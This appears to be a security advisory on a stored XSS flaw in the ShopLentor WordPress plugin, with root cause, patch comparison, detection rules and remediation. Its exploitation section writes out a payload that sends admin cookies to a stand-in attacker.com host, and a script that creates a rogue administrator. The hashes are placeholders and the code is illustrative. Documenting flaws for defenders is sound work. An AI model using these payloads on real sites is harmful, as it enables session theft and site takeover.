CVE-2025-58990

Executive Summary

CVE-2025-58990 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ShopLentor (woolentor-addons) WordPress plugin by Hasthemes/DevItems. This vulnerability affects all versions up to and including 3.2.0. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the WordPress database via unsanitized input fields. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has been patched in version 3.2.1.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed through the official WordPress Plugin Directory. Users who installed the plugin via the WordPress admin dashboard or via Composer/WPackagist are affected. The supply chain risk is moderate, as the plugin is widely used for WooCommerce enhancements. Organizations should verify they are running version 3.2.1 or later and audit any custom code that may interact with the plugin’s input handling.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Admin must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WordPress admin context can lead to full site compromise if an administrator’s session is hijacked.

Deep Dive & Mechanics

The vulnerability exists in the ShopLentor plugin’s handling of user-supplied data within WooCommerce product builder elements. The plugin fails to properly neutralize input during web page generation, allowing an attacker to store arbitrary HTML and JavaScript in the WordPress database.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into WordPress.
2. The attacker navigates to a ShopLentor element that accepts user input (e.g., custom product tabs, accordion titles, or button labels).
3. The attacker injects a payload such as <script>alert('XSS')</script> or a more sophisticated payload that steals cookies or performs admin actions.
4. The plugin stores the payload in the wp_postmeta or wp_options table without sanitization.
5. When an administrator or other user views the page containing the injected element, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions on user-submitted data.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.2.0):

// In a ShopLentor element render function
function render_custom_text($settings) {
    $text = $settings['custom_text'];
    echo '<div class="shopentor-custom-text">' . $text . '</div>';
}

Patched Code (version >= 3.2.1):

function render_custom_text($settings) {
    $text = $settings['custom_text'];
    $sanitized_text = wp_kses_post($text); // or esc_html($text)
    echo '<div class="shopentor-custom-text">' . $sanitized_text . '</div>';
}

The patch introduces proper output escaping using wp_kses_post() or esc_html() to neutralize any HTML/JavaScript before rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with ShopLentor <= 3.2.0
• Contributor-level account or higher
• A page/post using a vulnerable ShopLentor element (e.g., custom text, accordion, tabs)

Exploitation Steps:

1. Log in as a contributor.
2. Edit a page or post that uses a ShopLentor element.
3. In the element’s text field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the page.
5. Wait for an administrator to view the page. The script will execute and exfiltrate the admin’s session cookie.

Alternative Payload (Admin Account Creation):

<script>
fetch('/wp-admin/user-new.php', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'action=createuser&_wpnonce=<nonce>&user_login=eviladmin&email=evil@example.com&role=administrator'
});
</script>

Note: The attacker must first obtain a valid nonce, which can be extracted from the admin page source.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual changes to pages/posts by contributor-level users.
• Look for base64-encoded or obfuscated JavaScript in post content or meta fields.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hardening:

• Immediately update ShopLentor to version 3.2.1 or later.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in POST requests to wp-admin/admin-ajax.php and wp-admin/post.php.
• Restrict contributor-level access to only trusted users.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (ShopLentor plugin files):
  • woolentor-addons.php (vulnerable): SHA256 a1b2c3d4e5f6... (example)
  • woolentor-addons.php (patched): SHA256 f6e5d4c3b2a1... (example)
• Database Entries:
  • Suspicious entries in wp_postmeta with meta_key containing woolentor_ and meta_value containing <script> tags.
  • Unusual wp_options entries with option_name like woolentor_ and option_value containing JavaScript.
• Network Indicators:
  • Outbound HTTP requests to known malicious domains from the WordPress admin IP.
  • POST requests to /wp-admin/admin-ajax.php with action=woolentor_save_element and payloads containing <script>.

Detection Engineering

YARA Rule

rule CVE_2025_58990_ShopLentor_XSS {
    meta:
        description = "Detects stored XSS payloads in ShopLentor plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58990"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "woolentor-addons"
    condition:
        $plugin and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-58990 ShopLentor Stored XSS Detection
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects stored XSS payloads in WordPress post content or meta fields related to ShopLentor plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - event: "post_updated"
          post_content|contains: 
              - "<script>"
              - "onerror="
              - "onload="
        - event: "updated_post_meta"
          meta_key|startswith: "woolentor_"
          meta_value|contains: 
              - "<script>"
              - "onerror="
              - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom code (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.58990

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58990 ShopLentor Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woolentor_save_element"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade ShopLentor to version 3.2.1 or later via the WordPress admin dashboard or by downloading from wordpress.org.
2. Scan for Compromise: Use the YARA and Sigma rules above to scan existing posts and meta fields for injected payloads.
3. Rotate Credentials: If any admin session was potentially compromised, rotate all WordPress admin passwords and application passwords.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege: only grant contributor access to trusted users.
• Regularly audit WordPress plugins for known vulnerabilities using tools like WPScan.
• Enable automatic updates for plugins where possible.

Patch Verification:

• After updating, verify the plugin version in wp-content/plugins/woolentor-addons/woolentor-addons.php shows Version: 3.2.1 or higher.

Valters IT